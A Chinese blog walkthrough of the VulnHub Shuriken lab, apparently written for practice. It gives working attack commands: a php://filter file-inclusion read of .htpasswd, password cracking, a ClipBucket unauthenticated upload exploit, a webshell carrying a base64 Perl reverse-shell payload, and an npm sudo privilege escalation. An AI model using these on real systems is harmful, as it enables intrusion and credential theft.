博主介绍
博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【java】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!
靶机IP地址是:192.168.3.130
┌──(rootkali)-[~/桌面]
└─# arp-scan -l
开放了80、8080端口
┌──(rootkali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.3.130
扫描目录:
┌──(rootkali)-[~/桌面]
└─# dirsearch -u http://192.168.3.130
secret.png 的图片文字是 javascript,作者提示我们应该与 javascript 代码有关,仔细看首页 index.php 中有两个js代码
访问web页面的js
http://shuriken.local/index.php?referer=
http://broadcast.shuriken.local
试着想直接看看能不能访问到,发现域名解析失败,所有直接把域名加入到/etc/hosts
中
添加完成之后,访问域名,发现需要登录
存在文件包含漏洞
访问broadcast.shuriken.local,弹出用户登录框。由于http basic认证,用户名密码为保存在.htaccess
或者.htpasswd
文件中,文件和位置保存在/etc/apache2/apache2.conf
因此可以用上面的文件包含漏洞读取该文件:
配置文件:/etc/apache2/sites-enabled/000-default.conf
sites-enabled是apache2正在使用的网站配置文件,sites-available是apache2可用的网站配置文件。
enabled中只有一个000-default.conf快捷方式。availbel中有一个000-default.conf和default-ssl.conf两个文件。
000-default.conf是使用http协议网站的默认网站配置文件,而default-ss.conf是https协议网站才使用的默认网站配置文件。
Apache默认目录:/var/www/html
htpasswds是用于创建和更新用于存储HTTP用户基本身份验证的用户名和密码的平面文件。
┌──(rootkali)-[~/桌面]
└─# curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf
然后base64解码:
提示我没还需要读这个文件:/etc/apache2/.htpasswd
读取/etc/apache2/.htpasswd
文件
┌──(rootkali)-[~/桌面]
└─# curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/.htpasswd>>123.txt
得到:developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0
进行解码
┌──(rootkali)-[~/桌面]
└─# echo "$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0" > hash.txt
┌──(rootkali)-[~/桌面]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
得到密码是:`9972761drmfsls`
账号:developers
密码:9972761drmfsls
查看到CMS框架是:ClipBucket version 4.0
查找下漏洞利用
┌──(rootkali)-[~/桌面]
└─# searchsploit ClipBucket
通过exp,知道可以将任意文件上传,不需要经过验证
webshell木马的代码如下:
GIF89a
'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
┌──(rootkali)-[~/桌面]
└─# curl -u developers:9972761drmfsls -F "[email protected]" -F "plupload=1" -F "name=webshll.php" "http://broadcast.shuriken.local/actions/photo_uploader.php"
{"success":"yes","file_name":"1701277954ef7242","extension":"php","file_directory":"2023\/11\/29"}
拼接以后的路径就是:
http://broadcast.shuriken.local/files/photos/2023/11/29/1701277954ef7242.php
再开启一个终端监听,反弹shell
nc -lvvp 4444
python -c 'import pty; pty.spawn ("/bin/bash")' #交互式shell
sudo -l
提权网站:
npm | GTFOBins https://gtfobins.github.io/gtfobins/npm/#sudo
TF=$(mktemp -d): 这一行使用 mktemp -d 命令创建一个临时目录,并将其路径赋值给变量 TF。mktemp -d 用于创建一个临时目录。
echo '{"scripts":{"preinstall":"/bin/sh"}}'$TF/package.json: 这一行使用 echo 命令生成一个包含 npm 脚本的 JSON 文件内容,并将其输出到控制台。具体来说,生成的内容是 {"scripts":{"preinstall":"/bin/sh"}},然后使用 $TF 变量将路径添加到 package.json 文件的末尾。最终的输出是一个 JSON 字符串,表示一个包含 preinstall 脚本的 package.json 文件。
sudo npm -C $TF --unsafe-perm i: 这一行使用 npm 命令在指定的临时目录中执行安装。具体来说:
sudo: 使用管理员权限运行命令,通常用于执行需要更高权限的操作。
npm: Node.js 包管理器。
-C $TF: 指定 npm 在哪个目录中执行操作,这里是指定为之前创建的临时目录。
--unsafe-perm: 以不安全的权限模式运行 npm,通常在以管理员身份执行时需要。它允许在更高的权限下执行 npm 脚本。
i: 是 npm install 的缩写,用于安装项目的依赖项
步骤:
touch package.json
echo '{"scripts":{"dev":"/bin/bash"}}' > package.json
sudo -u server-management npm run dev